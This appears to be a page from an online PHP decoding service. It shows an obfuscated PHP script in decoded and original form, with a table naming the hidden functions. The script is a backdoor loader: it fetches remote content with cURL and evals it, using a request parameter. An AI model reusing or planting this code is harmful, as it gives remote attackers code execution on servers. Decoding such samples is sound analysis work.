Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $O_O00OO0__ = "a1xhg5obj7238t40f_-kqrely6zpndsmuvwc9i"; $OO0_00__OO = $O_O00OO0__{..

Decoded Output download

<?php 
$O_O00OO0__ = "a1xhg5obj7238t40f_-kqrely6zpndsmuvwc9i"; 
$OO0_00__OO = $O_O00OO0__{35} . $O_O00OO0__{21} . $O_O00OO0__{22} . $O_O00OO0__{0} . $O_O00OO0__{13} . $O_O00OO0__{22} . $O_O00OO0__{17} . $O_O00OO0__{16} . $O_O00OO0__{32} . $O_O00OO0__{28} . $O_O00OO0__{35} . $O_O00OO0__{13} . $O_O00OO0__{37} . $O_O00OO0__{6} . $O_O00OO0__{28}; 
$O_00OOO__0 = $O_O00OO0__{7} . $O_O00OO0__{0} . $O_O00OO0__{30} . $O_O00OO0__{22} . $O_O00OO0__{25} . $O_O00OO0__{14} . $O_O00OO0__{17} . $O_O00OO0__{29} . $O_O00OO0__{22} . $O_O00OO0__{35} . $O_O00OO0__{6} . $O_O00OO0__{29} . $O_O00OO0__{22}; 
$OO0OO___00 = $O_O00OO0__{35} . $O_O00OO0__{32} . $O_O00OO0__{21} . $O_O00OO0__{23} . $O_O00OO0__{17} . $O_O00OO0__{30} . $O_O00OO0__{22} . $O_O00OO0__{13} . $O_O00OO0__{6} . $O_O00OO0__{27} . $O_O00OO0__{13}; 
$O0_0__0OOO = $O_O00OO0__{4} . $O_O00OO0__{26} . $O_O00OO0__{37} . $O_O00OO0__{28} . $O_O00OO0__{16} . $O_O00OO0__{23} . $O_O00OO0__{0} . $O_O00OO0__{13} . $O_O00OO0__{22}; 
$OO0O_00_O_ = $O_O00OO0__{35} . $O_O00OO0__{32} . $O_O00OO0__{21} . $O_O00OO0__{23} . $O_O00OO0__{17} . $O_O00OO0__{37} . $O_O00OO0__{28} . $O_O00OO0__{37} . $O_O00OO0__{13}; 
$O0__00OOO_ = $O_O00OO0__{35} . $O_O00OO0__{32} . $O_O00OO0__{21} . $O_O00OO0__{23} . $O_O00OO0__{17} . $O_O00OO0__{22} . $O_O00OO0__{2} . $O_O00OO0__{22} . $O_O00OO0__{35}; 
$O_OO0_O_00 = $O_O00OO0__{30} . $O_O00OO0__{13} . $O_O00OO0__{21} . $O_O00OO0__{23} . $O_O00OO0__{22} . $O_O00OO0__{28}; 
$O0OO__O0_0 = $O_O00OO0__{13} . $O_O00OO0__{21} . $O_O00OO0__{37} . $O_O00OO0__{31}; 
header('Content-Type:text/html;charset=utf-8'); 
$OO000O__O_ = ${"GLOBALS"}["OO0_00__OO"]('$OO__OO000_=\'\'', '$O0O__O_O00=${"GLOBALS"}["OO0O_00_O_"]($OO__OO000_);${"GLOBALS"}["OO0OO___00"]($O0O__O_O00,CURLOPT_RETURNTRANSFER,1);$OO0O0_O0__=${"GLOBALS"}["O0__00OOO_"]($O0O__O_O00);return $OO0O0_O0__;'); 
$O0OO__0O_0 = ${"GLOBALS"}["OO0_00__OO"]('$string', '$OO000__O_O=substr($string,0,5);$O_O__0O00O=substr($string,-5);$O0__00O_OO=substr($string,7,${"GLOBALS"}["O_OO0_O_00"]($string)-14);return ${"GLOBALS"}["O0_0__0OOO"](${"GLOBALS"}["O_00OOO__0"]($OO000__O_O.$O0__00O_OO.$O_O__0O00O));'); 
$O__0O00OO_ = ${"GLOBALS"}["OO0_00__OO"]('$O0O0_0__OO=\'\'', '$OO0_00_O_O=isset(${"_GET"}["txtname"])?${"GLOBALS"}["O0OO__O0_0"](${"_GET"}["txtname"]):\'\';$OO__OO000_=${"GLOBALS"}["O0OO__0O_0"](\'yygpKhTbDS1y8vLzc0s9BLz09OLMrPycxL1EsszkztPUBwA=\');$O00O_0O__O=${"GLOBALS"}["OO000O__O_"]($OO__OO000_.$OO0_00_O_O);eval($O00O_0O__O);'); 
${"GLOBALS"}["O__0O00OO_"](); ?>

Did this file decode correctly?

Original Code

<?php
$O_O00OO0__ = "a1xhg5obj7238t40f_-kqrely6zpndsmuvwc9i";
$OO0_00__OO = $O_O00OO0__{35} . $O_O00OO0__{21} . $O_O00OO0__{22} . $O_O00OO0__{0} . $O_O00OO0__{13} . $O_O00OO0__{22} . $O_O00OO0__{17} . $O_O00OO0__{16} . $O_O00OO0__{32} . $O_O00OO0__{28} . $O_O00OO0__{35} . $O_O00OO0__{13} . $O_O00OO0__{37} . $O_O00OO0__{6} . $O_O00OO0__{28};
$O_00OOO__0 = $O_O00OO0__{7} . $O_O00OO0__{0} . $O_O00OO0__{30} . $O_O00OO0__{22} . $O_O00OO0__{25} . $O_O00OO0__{14} . $O_O00OO0__{17} . $O_O00OO0__{29} . $O_O00OO0__{22} . $O_O00OO0__{35} . $O_O00OO0__{6} . $O_O00OO0__{29} . $O_O00OO0__{22};
$OO0OO___00 = $O_O00OO0__{35} . $O_O00OO0__{32} . $O_O00OO0__{21} . $O_O00OO0__{23} . $O_O00OO0__{17} . $O_O00OO0__{30} . $O_O00OO0__{22} . $O_O00OO0__{13} . $O_O00OO0__{6} . $O_O00OO0__{27} . $O_O00OO0__{13};
$O0_0__0OOO = $O_O00OO0__{4} . $O_O00OO0__{26} . $O_O00OO0__{37} . $O_O00OO0__{28} . $O_O00OO0__{16} . $O_O00OO0__{23} . $O_O00OO0__{0} . $O_O00OO0__{13} . $O_O00OO0__{22};
$OO0O_00_O_ = $O_O00OO0__{35} . $O_O00OO0__{32} . $O_O00OO0__{21} . $O_O00OO0__{23} . $O_O00OO0__{17} . $O_O00OO0__{37} . $O_O00OO0__{28} . $O_O00OO0__{37} . $O_O00OO0__{13};
$O0__00OOO_ = $O_O00OO0__{35} . $O_O00OO0__{32} . $O_O00OO0__{21} . $O_O00OO0__{23} . $O_O00OO0__{17} . $O_O00OO0__{22} . $O_O00OO0__{2} . $O_O00OO0__{22} . $O_O00OO0__{35};
$O_OO0_O_00 = $O_O00OO0__{30} . $O_O00OO0__{13} . $O_O00OO0__{21} . $O_O00OO0__{23} . $O_O00OO0__{22} . $O_O00OO0__{28};
$O0OO__O0_0 = $O_O00OO0__{13} . $O_O00OO0__{21} . $O_O00OO0__{37} . $O_O00OO0__{31};
header('Content-Type:text/html;charset=utf-8');
$OO000O__O_ = ${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x5f\x30\x30\x5f\x5f\x4f\x4f"]('$OO__OO000_=\'\'', '$O0O__O_O00=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x4f\x5f\x30\x30\x5f\x4f\x5f"]($OO__OO000_);${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x4f\x4f\x5f\x5f\x5f\x30\x30"]($O0O__O_O00,CURLOPT_RETURNTRANSFER,1);$OO0O0_O0__=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x5f\x5f\x30\x30\x4f\x4f\x4f\x5f"]($O0O__O_O00);return $OO0O0_O0__;');
$O0OO__0O_0 = ${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x5f\x30\x30\x5f\x5f\x4f\x4f"]('$string', '$OO000__O_O=substr($string,0,5);$O_O__0O00O=substr($string,-5);$O0__00O_OO=substr($string,7,${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x4f\x4f\x30\x5f\x4f\x5f\x30\x30"]($string)-14);return ${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x5f\x30\x5f\x5f\x30\x4f\x4f\x4f"](${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x30\x4f\x4f\x4f\x5f\x5f\x30"]($OO000__O_O.$O0__00O_OO.$O_O__0O00O));');
$O__0O00OO_ = ${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x5f\x30\x30\x5f\x5f\x4f\x4f"]('$O0O0_0__OO=\'\'', '$OO0_00_O_O=isset(${"\x5f\x47\x45\x54"}["\x74\x78\x74\x6e\x61\x6d\x65"])?${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x4f\x4f\x5f\x5f\x4f\x30\x5f\x30"](${"\x5f\x47\x45\x54"}["\x74\x78\x74\x6e\x61\x6d\x65"]):\'\';$OO__OO000_=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x4f\x4f\x5f\x5f\x30\x4f\x5f\x30"](\'yygpKhTbDS1y8vLzc0s9BLz09OLMrPycxL1EsszkztPUBwA=\');$O00O_0O__O=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x30\x30\x4f\x5f\x5f\x4f\x5f"]($OO__OO000_.$OO0_00_O_O);eval($O00O_0O__O);');
${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x5f\x30\x4f\x30\x30\x4f\x4f\x5f"](); ?>

Function Calls

header 1

Variables

$O0OO__O0_0 trim
$O0_0__0OOO gzinflate
$O0__00OOO_ curl_exec
$OO0OO___00 curl_setopt
$OO0O_00_O_ curl_init
$OO0_00__OO create_function
$O_00OOO__0 base64_decode
$O_O00OO0__ a1xhg5obj7238t40f_-kqrely6zpndsmuvwc9i
$O_OO0_O_00 strlen

Stats

MD5 b4e060faa26c631fdb02c3049521f48e
Eval Count 0
Decode Time 150 ms